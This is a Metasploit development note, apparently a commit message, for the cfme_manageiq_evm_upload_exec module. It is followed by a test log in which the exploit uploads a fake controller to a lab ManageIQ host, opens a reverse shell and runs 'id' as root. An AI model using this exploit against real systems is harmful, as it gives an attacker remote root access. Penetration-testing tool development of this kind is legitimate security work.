Fix cfme_manageiq_evm_upload_exec according to chat with @rcvalle

Just that, be sure we don't lose sessions by being too much strict with res.code check, and use FileDropper for cleaning!

Test after changes:

```
msf exploit(cfme_manageiq_evm_upload_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444 
[*] Sending fake-controller upload request to https://192.168.172.134/agent/linuxpkgs...
[*] Sending execute request to https://192.168.172.134/lbopvgrcvv/pvmkazr...
[*] Command shell session 4 opened (192.168.172.1:4444 -> 192.168.172.134:32926) at 2013-12-18 11:53:50 -0600
[+] Deleted app/controllers/lbopvgrcvv_controller.rb

4259028461
PFFxgpRAWMbsmiZBGbWBTLDDroWawsAE
bkUTmSExDLQPOTmRXSubyVftdXInPlsZ
id
uid=0(root) gid=0(root)
^C
Abort session 4? [y/N]  y

[*] 192.168.172.134 - Command shell session 4 closed.  Reason: User exit
msf exploit(cfme_manageiq_evm_upload_exec) > check
[*] The target service is running, but could not be validated.
```